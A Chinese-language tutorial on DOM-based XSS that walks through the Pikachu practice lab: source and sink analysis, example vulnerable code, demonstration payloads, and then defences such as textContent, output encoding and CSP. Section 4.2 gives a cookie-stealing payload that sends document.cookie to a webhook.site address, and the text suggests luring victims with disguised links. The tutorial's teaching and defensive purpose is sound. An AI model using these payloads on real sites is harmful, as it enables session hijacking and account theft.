1. 项目概述从“反射”到“DOM”理解XSS攻击的另一个维度当大家谈论跨站脚本攻击时第一反应往往是“反射型”和“存储型”。前者像一次性的钓鱼钩后者则像埋在网站里的定时炸弹。但今天我们要拆解的是一个在实战中越来越常见、却又容易被忽视的变种——DOM型XSS。这个“Medium级别”的演示其核心价值不在于展示一个高深莫测的漏洞而在于揭示一个普遍存在的认知盲区很多开发者甚至安全测试人员会下意识地认为只要服务器端做好了输入过滤和输出编码网站就安全了。DOM型XSS恰恰绕过了这个防线它在客户端、在用户的浏览器里完成攻击。简单来说DOM型XSS的攻击载荷并不直接来自服务器响应。攻击者构造一个特殊的URL其中包含恶意脚本。当用户访问这个URL时页面中的JavaScript代码通常是用来实现某些动态交互功能的会从URL的片段、查询参数或者浏览器的本地存储中读取数据并直接将其作为HTML或JavaScript代码的一部分写入到页面的DOM结构中。这个过程完全在浏览器端发生服务器可能对此一无所知因为它返回的“干净”的HTML页面本身并没有问题。这就好比我给你寄了一个完全正常的工具箱服务器响应但你打开工具箱后按照里面一张被调包的说明书客户端JS逻辑去操作结果组装出了一个危险品恶意DOM操作。这个演示项目正是要带你亲手“组装”一次这样的攻击。我们将通过一个模拟的、存在漏洞的网页一步步拆解攻击链从如何发现可能存在DOM操作的敏感“水龙头”到如何构造能“骗过”JavaScript逻辑的恶意输入再到最终如何让脚本在受害者浏览器中执行。理解这个过程对于前端开发者是加固代码的必修课对于安全爱好者是提升挖洞视野的关键一步对于任何关注Web安全的人则是理解现代Web应用复杂攻击面的生动案例。2. 核心原理深度拆解为什么DOM型XSS如此“狡猾”要理解DOM型XSS的狡猾之处我们必须先厘清一个关键概念数据流。在传统的反射型或存储型XSS中恶意数据流是“服务器参与”的。攻击者的输入被发送到服务器服务器可能未经充分处理就将其存储在数据库存储型或直接拼接进返回的HTML页面反射型再随页面响应一起发送给浏览器。浏览器的安全机制如同源策略主要防范的是来自不同源的脚本执行但对于服务器“亲自”送过来的、已经内嵌在HTML中的脚本它往往默认是“可信的”。DOM型XSS彻底改变了这个数据流。它的攻击路径是用户浏览器 - 客户端JavaScript - DOM。服务器返回的是一个静态的、或者包含通用逻辑的HTML/JS文件。页面加载后JavaScript代码开始执行它会主动去读取一些“数据源”比如window.location.hash(URL中#号后面的部分)window.location.search(URL中?号后面的查询字符串)document.referrer(来源页面URL)window.namelocalStorage/sessionStorage通过postMessage从其他窗口接收的消息这些数据源的内容完全由攻击者通过构造特定URL或交互方式来控制。如果前端JavaScript代码在处理这些数据时使用了不安全的“水槽”攻击就发生了。所谓“水槽”指的是那些能将字符串解析并执行为代码或HTML的JavaScript函数或属性。2.1 关键“水槽”函数与属性剖析以下是一些最常见、最危险的“水槽”也是我们演示中会重点利用的innerHTML/outerHTML这是最经典的场景。直接将未经验证的用户输入赋值给元素的innerHTML等于为HTML注入打开了大门。// 漏洞代码示例 document.getElementById(message).innerHTML location.hash.substring(1); // 攻击者访问http://vuln-site.com/page.html#img srcx onerroralert(1)innerHTML会解析字符串中的HTML标签并渲染。上面的例子中img标签的onerror事件会被成功触发。document.write()/document.writeln()这两个古老的API会直接将字符串写入文档流。如果在页面加载后调用它们且字符串包含用户输入风险极高。document.write(Welcome, location.search.split()[1] !); // 访问http://vuln-site.com/page?namescriptalert(1)/scripteval()/setTimeout()/setInterval()与字符串拼接eval()函数会将其字符串参数当作JavaScript代码执行。如果这个字符串包含了用户可控输入后果不堪设想。setTimeout和setInterval的第一个参数虽然是函数但传入字符串时也会被eval执行。// 危险 var userData decodeURIComponent(location.hash.substr(1)); eval(var result userData); // 如果userData是“1);alert(1);//”则注入成功 setTimeout(location.hash.substr(1), 1000); // 如果hash是“alert(1)”则执行location/window.open()/iframe.src等URL跳转将用户输入直接用于构造跳转URL可能导致JavaScript伪协议执行。window.location.href location.search.split(redirect)[1]; // 访问http://vuln-site.com/page?redirectjavascript:alert(document.cookie)script标签的src或内容动态创建动态创建script标签并将其src指向用户控制的URL或者直接将其textContent设置为用户输入。var script document.createElement(script); script.src location.hash.substring(1); // 可控可指向恶意JS文件 document.body.appendChild(script);注意仅仅使用innerText或textContent属性来设置文本内容是相对安全的因为它们不会解析HTML。真正的风险在于将用户输入与HTML字符串或代码执行上下文进行拼接。2.2 DOM型XSS的独特挑战DOM型XSS之所以难以防御源于几个特点对服务器隐身传统的WAF、服务器端输入过滤可能完全无效因为恶意载荷根本不经过服务器或者以服务器无法识别的形式存在如URL片段#后的内容通常不发送到服务器。依赖客户端代码审计发现这类漏洞需要对前端JavaScript代码进行白盒或灰盒审计寻找“数据源”到“危险水槽”的完整路径。自动化扫描工具有时会漏报因为需要实际执行JS才能发现漏洞。触发场景复杂可能依赖于特定的用户交互序列、AJAX回调后的DOM更新等不是简单的页面加载即触发。理解了这些原理我们就能明白防御DOM型XSS的主战场在前端。开发者必须对任何来自不可信源URL、消息、存储的数据保持警惕在将其送入“水槽”前进行严格的编码或验证。3. 靶场环境搭建与漏洞代码分析为了进行安全、合法的学习与研究我们不会攻击真实网站。而是使用一个经典的、专为Web安全学习设计的靶场环境——Pikachu皮卡丘漏洞练习平台。它内置了包括DOM型XSS在内的多种漏洞场景。3.1 环境准备与部署获取靶场你可以从GitHub等开源平台搜索“pikachu漏洞练习平台”找到其源码。它是一个基于PHP的Web应用。部署环境你需要一个支持PHP和MySQL的Web服务器环境。最便捷的方式是使用集成环境软件Windows/Mac推荐使用XAMPP或PHPStudy。安装后将下载的Pikachu文件夹放入其htdocs对于XAMPP或www对于PHPStudy目录下。Docker推荐如果熟悉Docker可以搜索现成的Pikachu Docker镜像一条命令即可运行环境隔离性好。# 示例Docker命令具体镜像名需查询 docker run -d -p 8080:80 vulnerables/web-dvwa # 注意以上是DVWA示例Pikachu需寻找对应镜像或自行构建Dockerfile初始化访问http://localhost/pikachu/具体路径根据你的部署调整通常靶场首次访问会有数据库初始化链接点击按提示完成安装即可。3.2 漏洞页面代码深度解析部署成功后我们找到Pikachu平台中的“DOM型XSS”漏洞模块。让我们深入看看它的前端代码理解漏洞是如何产生的。假设漏洞页面domxss.html的核心代码如下!DOCTYPE html html headtitleDOM XSS Demo/title/head body h2请选择你的语言/h2 select idlang onchangechangeLang() option valuedefault请选择/option option valuechinese中文/option option valueenglishEnglish/option /select p iddisplay等待选择.../p script function changeLang() { var lang document.getElementById(lang).value; // 漏洞点直接从URL的hash中读取数据并直接用于innerHTML var defaultText window.location.hash.substring(1); var display document.getElementById(display); if (lang chinese) { display.innerHTML 你选择了中文。 defaultText; } else if (lang english) { display.innerHTML You selected English. defaultText; } else { display.innerHTML Please select a language. defaultText; } } // 页面加载时也尝试执行一次这是另一个常见触发点 window.onload changeLang; /script /body /html代码漏洞分析数据源window.location.hash.substring(1)。攻击者可以通过在URL后添加#及其后的内容来完全控制这个defaultText变量的值。例如http://靶场地址/domxss.html#img src1 onerroralert(1)。危险水槽display.innerHTML ... defaultText;。代码将用户可控的defaultText直接与安全字符串拼接然后赋值给innerHTML。浏览器会忠实地解析defaultText中的HTML标签和属性。触发方式有两种页面加载触发window.onload changeLang;使得页面一加载就会执行changeLang()函数读取当前的location.hash并注入。用户交互触发用户切换下拉框select时触发onchange事件调用changeLang()函数。这个例子非常典型地展示了DOM型XSS的“客户端数据流”和“危险水槽”的结合。服务器返回的domxss.html文件本身是静态、干净的没有任何恶意代码。所有的罪恶都源于浏览器执行了那段逻辑有缺陷的JavaScript。4. 手把手攻击演示构造与利用Payload现在我们进入实战环节。假设靶场地址是http://localhost/pikachu/vul/xss/domxss.html。4.1 基础攻击弹窗验证这是最简单的验证漏洞是否存在的方式。构造恶意URL我们在原URL后添加hash片段#并放入一个经典的img标签利用Payload。http://localhost/pikachu/vul/xss/domxss.html#img src1 onerroralert(document.domain)img src1尝试加载一个不存在的图片1这会立即触发错误。onerroralert(document.domain)当图片加载错误时执行onerror事件处理器中的JavaScript代码。这里我们弹窗显示当前页面的域名证明脚本在该域的安全上下文中执行成功。访问与触发将上述完整URL输入浏览器地址栏并访问。你会发现无需进行任何下拉框选择操作页面加载完成后立即弹出了一个警告框内容为localhost或你的靶场域名。这说明DOM型XSS漏洞真实存在并且通过location.hash成功利用。4.2 进阶利用窃取用户Cookie弹窗只是“打招呼”真正的攻击目的在于窃取敏感信息或进行恶意操作。最常见的目标是用户的会话Cookie。搭建接收平台攻击者需要有一个服务器来接收被盗取的数据。为了演示我们可以使用一个简单的请求记录服务如https://webhook.site或http://requestbin.net。这些网站会给你一个唯一的URL所有发送到该URL的请求及其参数都会被记录下来。假设我们获得的接收地址是https://webhook.site/your-unique-id。构造窃取Cookie的Payload我们需要构造一个能自动将Cookie发送到我们服务器的脚本。img src1 onerrorvar imgnew Image();img.srchttps://webhook.site/your-unique-id?cookieencodeURIComponent(document.cookie);当onerror触发时它创建了一个新的Image对象。将img的src属性设置为我们的接收URL并在查询参数中附带上经过URL编码的document.cookie。浏览器会尝试加载这个“图片”实际上就是向攻击者的服务器发起了一个携带Cookie的GET请求。生成攻击URLhttp://localhost/pikachu/vul/xss/domxss.html#img src1 onerrorvar imgnew Image();img.srchttps://webhook.site/your-unique-id?cookie%2BencodeURIComponent(document.cookie);注意由于整个Payload在URL中需要对一些特殊字符进行URL编码。例如加号需要编码为%2B否则在URL中会被解析为空格。在实际构造时可以使用浏览器的开发者工具控制台用encodeURIComponent()函数对Payload进行整体编码再将编码后的结果放入#后面。诱导与结果攻击者将这个精心构造的短链接可以通过短链服务进一步伪装通过社交工程手段发送给受害者。受害者点击后其在该靶场域名下的Cookie就会被悄无声息地发送到攻击者的Webhook地址。攻击者从接收平台的日志中即可看到Cookie内容。4.3 利用技巧与变形绕过简单的过滤如果前端代码尝试用replace()过滤掉script标签我们可以转向使用其他HTML标签的事件处理器如img onerror、svg onload、body onload甚至利用a hrefjavascript:alert(1)再诱使用户点击需要交互。利用JavaScript伪协议如果漏洞点是将输入用于location.href或iframe.src可以构造javascript:alert(1)这样的Payload。闭合现有标签与上下文有时用户输入被插入到现有的HTML标签属性中如input valueUSER_INPUT。我们需要先闭合双引号和标签然后注入新代码。Payload可能形如scriptalert(1)/script。这需要仔细分析前端JS是如何拼接字符串的。5. 防御策略与安全编码实践理解了攻击防御就有了方向。防御DOM型XSS的核心原则是对任何来自非可信源的数据在将其放入“危险水槽”前进行严格的上下文相关的输出编码。5.1 前端防御黄金法则避免使用危险的水槽这是最根本的。如果业务允许优先使用安全的API。用textContent或innerText替代innerHTML来显示纯文本。绝对避免使用eval()、setTimeout(string)、setInterval(string)。谨慎使用document.write()。实施严格的输入验证虽然DOM型XSS不依赖服务器验证但前端同样需要验证。验证应基于“白名单”原则只允许已知安全的字符或格式。// 示例只允许字母数字和空格 function sanitizeInput(input) { return input.replace(/[^a-zA-Z0-9\s]/g, ); } var userData sanitizeInput(window.location.hash.substring(1));进行上下文相关的输出编码这是最关键的一步。编码方式取决于数据将要放入的上下文。HTML上下文当数据要放入HTML标签之间或普通属性值时需要进行HTML实体编码。function encodeHTML(str) { return str.replace(/[]/g, function(match) { return { : amp;, : lt;, : gt;, : quot;, : #x27; }[match]; }); } display.textContent encodeHTML(userData); // 安全 // 如果必须用innerHTML且userData是变量的一部分也要编码 display.innerHTML 欢迎 encodeHTML(userData);HTML属性上下文同上使用HTML实体编码。特别注意属性值要用引号括起来避免攻击者闭合属性。JavaScript上下文当数据要放入script标签内或事件处理器中时需要进行JavaScript Unicode转义。// 非常危险不要这样做 var script scriptvar name userInput ;/script; // 相对安全使用JSON.stringify它会添加引号和转义 var script scriptvar name JSON.stringify(userInput) ;/script;URL上下文当数据要作为URL的一部分时使用encodeURIComponent()。var redirectUrl https://example.com/profile?user encodeURIComponent(userInput);使用现代前端框架的安全实践React、Vue、Angular等主流框架在默认情况下都提供了良好的XSS防护。例如React会对在JSX中插入的变量{}自动进行转义。但切记使用dangerouslySetInnerHTMLReact或v-htmlVue指令就相当于直接操作innerHTML必须对输入内容进行净化和编码。实施内容安全策略CSP是一个强大的深层防御策略。它通过HTTP头告诉浏览器哪些来源的资源脚本、样式、图片等是可以加载和执行的。一个严格的CSP可以很大程度上遏制XSS攻击。Content-Security-Policy: default-src self; script-src self https://trusted.cdn.com; object-src none;这个策略表示默认只允许加载同源资源脚本只允许来自同源和https://trusted.cdn.com完全禁止object等插件。即使攻击者成功注入了script标签如果其src不在白名单内浏览器也会拒绝加载和执行。5.2 修复演示漏洞针对我们之前分析的Pikachu漏洞代码修复方案非常简单将不安全的innerHTML赋值改为安全的textContent赋值并对输入进行编码。修复后的代码script function changeLang() { var lang document.getElementById(lang).value; var defaultText window.location.hash.substring(1); var display document.getElementById(display); // 修复1. 对输入进行HTML编码 2. 使用textContent或编码后使用innerHTML var safeDefaultText encodeHTML(defaultText); // 调用上面定义的encodeHTML函数 if (lang chinese) { display.textContent 你选择了中文。 safeDefaultText; // 使用textContent } else if (lang english) { display.textContent You selected English. safeDefaultText; } else { display.textContent Please select a language. safeDefaultText; } } window.onload changeLang; /script经过这样修复后即使攻击者在URL中注入scriptalert(1)/script它也会被显示为一段普通的文本而不会被执行。6. 常见问题与排查技巧实录在学习和实战DOM型XSS的过程中你可能会遇到以下问题。这里记录了我踩过的一些坑和解决方法。Q1我构造的Payload没有执行浏览器控制台也没有报错怎么回事A1按以下步骤排查检查数据源确认你的Payload是否真的被前端JS代码读取。在开发者工具的“Sources”或“调试器”中在读取数据源的代码行如var data location.hash...打上断点刷新页面查看变量值是否正确包含你的Payload。检查水槽确认数据是否被传递到了innerHTML、document.write等危险函数。同样使用断点或console.log跟踪。检查编码URL中的特殊字符如、?、#、可能会被浏览器或服务器重新编码/解码。确保Payload在最终被JS处理时其格式是正确的。必要时使用decodeURIComponent()或查看网络请求的原始URL。检查CSP在浏览器开发者工具的“网络”标签页查看响应头是否包含Content-Security-Policy。一个严格的CSP可能会阻止内联脚本执行。这是防御生效的表现不是你的Payload有问题。Q2为什么有时候scriptalert(1)/script作为innerHTML插入后不执行A2这是一个重要的浏览器安全机制。通过innerHTML属性动态插入的script标签其中的JavaScript代码不会被执行。这是HTML5规范定义的。但是这绝不意味着innerHTML是安全的因为除了script还有无数其他方式可以执行代码比如我们演示中使用的img onerror、svg onload、iframe等。攻击的重心早已从script标签转移到了事件处理器和标签属性。Q3在真实漏洞挖掘中如何高效地发现DOM型XSSA3结合手动测试与工具辅助手动代码审计关注所有从以下源获取数据的代码locationhrefhashsearch、document.referrer、window.name、localStorage、postMessage事件参数。跟踪这些数据流向看是否最终到达innerHTML、eval、document.write、jQuery.html()等危险函数。使用浏览器开发者工具搜索在Sources面板中全局搜索危险函数名innerHTMLouterHTMLwriteeval。调试在可疑的数据读取点设置断点观察数据流。监控在Console面板输入monitor(eval)和monitor(document.write)等命令可以监控这些函数的调用并打印出调用时传入的参数非常有用。使用自动化扫描工具像Burp Suite的DOM Invader插件、OWASP ZAP的客户端脚本扫描功能以及一些开源的Headless浏览器扫描工具如Puppeteer脚本可以辅助发现。但工具不能完全替代人工对代码逻辑的理解。Q4除了窃取CookieDOM型XSS还能做什么A4其危害与反射型/存储型XSS等同因为都是在受害者浏览器中、在目标网站的安全上下文下执行任意JS。攻击者可以会话劫持利用窃取的Cookie直接登录受害者账户。发起恶意请求以受害者身份执行任意操作如发帖、转账、修改资料。键盘记录监听受害者在当前页面的按键。钓鱼在当前页面伪造一个登录弹窗诱骗用户输入凭证。挖矿在用户浏览器中植入加密货币挖矿脚本。水坑攻击结合其他漏洞将网站变成攻击跳板。Q5后端需要对DOM型XSS负责吗A5虽然攻击发生在客户端但后端并非毫无责任。后端可以实施严格的CSP这是最有效的缓解措施之一。在可能的情况下避免将用户可控参数直接用于前端JavaScript的变量初始化例如不要在服务器端生成的HTML中嵌入未经编码的JSON数据。对前端代码进行安全审计并将其纳入SDL安全开发生命周期。教育前端开发团队提升其安全意识。DOM型XSS像是一个隐藏在光影中的刺客它避开了服务器端的重重关卡直取客户端核心。防御它需要开发者将安全思维从服务器延伸到用户的浏览器时刻警惕那些来自URL、来自消息、来自存储的每一份数据对它们进行严格的“安检”和“包装”才能确保动态交互的Web应用不会变成攻击者手中的提线木偶。